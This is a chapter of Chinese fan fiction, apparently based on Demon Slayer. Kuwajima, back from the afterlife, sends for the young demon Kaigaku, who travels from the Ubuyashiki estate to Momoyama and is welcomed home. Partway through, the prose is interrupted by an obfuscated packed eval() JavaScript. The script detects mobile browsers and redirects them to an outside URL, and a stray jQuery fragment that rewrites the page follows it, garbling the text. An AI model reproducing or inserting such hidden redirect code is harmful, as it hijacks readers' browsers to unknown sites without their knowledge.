4. 第四章

作品:《身上勾玉越来越多了

    桑岛睁开眼,又一次看向窗外。


    他想起半个月前的事。


    如果那不是一场过分真实的梦,他当时应该还在地狱。


    因为是自杀下的地狱,没有别的罪,不需要受刑,只需要在地狱找地方住个几年就可以转世。


    不过在到年限后,他选择等一等。


    等到作为狱卒的缘一先生敲门,告诉他,狯岳的刑罚结束,也可以转世。


    地狱和黄泉不一样,黄泉可以停留很久,地狱在可以转世后只能停留十年。


    大概是防止坏人在地狱留太长时间,在地狱里进行什么恐怖活动,所有人过了时间必须去转世,只能提前留下影像给后来的亲朋好友。


    善逸大概还要几十年才会到黄泉吧。


    老爷子寻思着要不要一天录一个影像,给善逸留九年的份。


    也不知道狯岳愿不愿意留一两个影像。


    想了想,他又放弃。


    还是就留一两个吧,留太多,那小子定是哭哭嚷嚷着要一次性全看完。


    这样想着,他用三天时间思考好给善逸留下的影像,出发去接狯岳。


    他准备在接到狯岳后,直接去摇号转世。


    晚点来啊,善逸。


    我和你师兄提前去下一世等你。


    正这样想着,他眼前一花,回了桃山。


    石阶边上的青苔,路边叶子上的雨露,树底下忙碌的蚂蚁和探头的蚯蚓,这些事物一点点交织出山林的气息,是绝对真实的桃山。


    哪个神明在开玩笑?


    桑岛下山买一份报纸,以确定此时的时间。


    是他死之前九年,离狯岳来拜师还有六、七年的时间,离善逸背上债务还有七年。


    一想到这里,桑岛忍不住想赶往那所寺庙,把他还要流浪六、七年的大弟子提前捡回来。


    问题在于,寺庙在哪里?


    他努力回忆在地狱时看得话本,那神明都无聊到把他们的故事写成话本,怎么不再写细致些,把寺庙地址写上去。


    越是回忆,桑岛发现自己的记忆越是模糊,地狱的一切,之后年岁的事都像是雾里看花,不真切,好像那只是一个梦。


    就连他那两个弟子的样貌,能记住的也只剩下个大概。


    到半个月后的现在,再次翻看自己雾蒙蒙一片的记忆,他不得不质疑那确实是一场梦,只是太过真实。


    “嗒嗒”窗户边传来轻轻的敲击声。


    是鎹鸦。


    桑岛取下鎹鸦带来的信件,见鎹鸦没有立刻走,还一副等回信的样子,从厨房里给它弄了一点吃的,然后打开信,仔细阅读。


    是主公的信。


    主公捡到一个可以吃鬼的小孩,并且想要推荐他来做培育师吗?


    桑岛有些失落,在他的那一份记忆里,并没有这件事,不然他应该会多一个弟子。


    这似乎证明那的确是一个梦,而不是奇妙的时空穿梭。


    “哒,哒,哒”鎹鸦在桌子上迈步走着。


    看来这是个急性子的小家伙,不知道是哪只隐养的,他记得主公的鎹鸦相当沉稳。


    拿出纸笔,桑岛应下此事,只是有那个梦境在前,他最后下意识写出不收徒,只是指导一番的话。


    看着鎹鸦离去的影子,桑岛摇摇头。


    年纪大咯,竟然因为一个梦患得患失。


    产屋敷宅。


    “喝一杯牛奶再出发吧。”主公在投喂狯岳。


    这半个月以来,狯岳除了日常养刀锻炼,基本上都在主公的书房看书。


    不过收到桑岛前辈的回信之后,这孩子越发三心二意,主公看得出来。


    “哦。”狯岳端起杯子,一饮而尽。


    嗯?


    一丝清甜味留在口腔里,狯岳向主公望去。


    那与紫藤花一般颜色的眼睛含笑,很欢心自己的小惊喜让他发现。


    是桃子味的牛奶。


    “狯岳君。”主公的嘴角常常是上扬的,这样看人,叫被看得人感觉自己很重要,照面就能让人笑。


    他说,“喜欢桃子的话,成为鸣柱那天,开个桃宴怎么样?”


    狯岳的手指微动,将主公的表情尽览。


    绝对是在看碟下菜吧,这样和自己说你能做上鸣柱,完全把握住自己了。


    还是很认真的在说这事。


    “不要。”但是狯岳拒绝。


    门外等着送人的隐一听狯岳拒绝,立马用你怎么能拒绝的不敢置信表情瞪狯岳。


    紫藤花色的眼睛里,浅浅倒映着狯岳的样子,鬼化的小孩手里凝出两块勾玉,上前几步就塞给他,然后转身就走。


    “一路顺风,狯岳君。”


    主公看着狯岳手腕上的两个小号勾玉,说。


    “耀哉大人今天心情不错。”天音从门后走出来,注意到那两块小勾玉,“这是,狯岳君的勾玉啊。”


    “嗯。”有着紫藤花纹路的袋子将祝福收入囊中,主公的声音轻柔,“是那孩子最真心的礼物。”


    只是半月时间就在那孩子心里留下位置,真是倍感荣幸。


    把其中一个袋子递给天音,望着远处飞来的鎹鸦,主公向书房走去。


    狯岳难得赞同地狱里那些狱卒一次。


    主公大人和天音夫人确实好。


    投诉信先不写了,反正写完也不知道怎么送地狱去,找个快死的鬼让他强行背下来?


    抱着20厘米厚百科全书打发时间的狯岳三心二意想着。


    “哗”


    “怎么能拒绝主公大人,他可是在鼓励你未来可以做柱诶!”隐在旁边碎碎念。


    隐会在是因为狯岳现在才八岁,主公觉得前往桃山的路上必须要有人陪同。


    “哗”


    “我知道了,一定是你还小,听不懂他在鼓励你,你以后不要拒绝主公知道不?”


    “哗”


    “多少人想见主公大人都见不到,你天天在主公大人的书房里是天大的荣幸啊!你不要再翻书了好不好!”


    巴巴拉拉的说了一大堆,隐转头一看,狯岳还翻着那一本一张张纸铺开能铺满产屋敷宅的百科全书。


    “这么厚的书,你到底怎么翻得动的啊!”哪个正常的八岁小孩能抱着几斤重的书边走边看啊!


    狯岳抬头看他一眼。


    隐要继续说的话被看得咽回去,没想到一直不怎么理人的小孩这次竟然理人,特意摆出一脸严肃回看。


    狯岳低下头,继续看书。


    “不要无视我!”隐彻底情绪爆发,“甚至不愿意说一句‘好吵,闭嘴吧,只会叽叽歪歪的成年人’吗?!”


    “吵。”


    “……不要只复述一个字啊!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942624|160786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>一个农民大伯伯驾驶牛车路过。


    “诶?牛车?小孩你坐车不?”


    “行。”


    在老黄牛慢悠悠的步伐中,隐终于小声下来,但嘴碎子是不可能不说话的,絮絮叨叨着就开始说他猜测中的桑岛慈悟郎。


    “听说桑岛阁下在任时,可是九柱中速度最快的一个,小孩你去后可要好好学,说不定就从临时学生变成徒弟,那样未来做鸣柱的可能性更大。


    不过柱们都很可怕的,像雷之呼吸这种,一听就脾气不好……”


    “啪!”


    书本突然合上的声音打断隐的话。


    狯岳面无表情的盯着他,“你困了。”


    “啊?我不困啊?”


    “你困了。”举起20厘米厚的书。


    隐:!


    是的,他困了,他这就睡觉。


    他就说雷之呼吸脾气不好,瞧瞧,瞧瞧!这还没学就已经不好了。


    赶黄牛的老人呵呵笑,还是年轻人有活力。


    搭乘牛车过一段顺风路,接下来还要自己走,这一次隐没有再说桑岛的谣言,而是念叨起营养搭配均衡的午餐。


    狯岳:……


    好不容易,终于在天黑之前到达桃山。


    “还好还好,现在还来得及赶去藤之家过夜。”隐看看天色,再看看离桃山的距离,“那我先走了,加油啊小孩。”


    他把包裹给狯岳。


    ‘狯岳君要不要试着多和身边人寒暄一下?


    像你好、再见,这样就行。


    会有回应的,试着相信一下怎么样?’——天音夫人


    “…再见。”


    “啊,再见。”


    隐离开的时候,脚步很轻快,大概是今天任务完成的轻松,开心的。


    在山脚下静静地看了一会,这熟悉又陌生的地界还真如同在幻梦中。


    良久,狯岳走上台阶,慢悠悠一步步向山上去。


    直到太阳完全落下,光亮一秒一秒的消失,他才来到熟悉的屋子前。


    拄着拐杖的身影像与世界上其他事物全部割裂一样,异常显眼。


    突兀的,闯入狯岳的视野。


    “狯岳?”桑岛看着眼前小孩,震惊的脱口而出。


    “好久不见,老头子。”停步,抬眸,狯岳把桑岛和记忆中的样子比对,能看见要年轻些的师傅,还真是奇妙的感受。


    算地狱做了一件人事,把老头子也一起丢回这个时间点。


    但这如同做梦一样的表情是什么意思啊,超级不爽,“怎么,有一个鬼徒弟吓到你了?”


    “啪!”老爷子瞬移一样出现,直接给狯岳头上来了一下,然后把他手里的百科全书拿走。


    “是鬼也不能等这么晚再上山,半个时辰前鎹鸦就上来说你到了,爬山爬半个时辰能的你,赶紧进去放东西。”


    “哦。”


    “洗澡水烧好了,先去洗澡换衣服。”


    “嗯。”


    “房间还是之前那个吧,等会儿给你收拾收拾。”


    “嗯。”


    “欢迎回来,狯岳。”


    ——次元壁——


    “房间还是之前那个吧,等会儿给你收拾收拾。”


    因为桑岛老爷子以为这次来的不会是他的两个弟子,所以给收拾了别的房间,那两个房间没有动。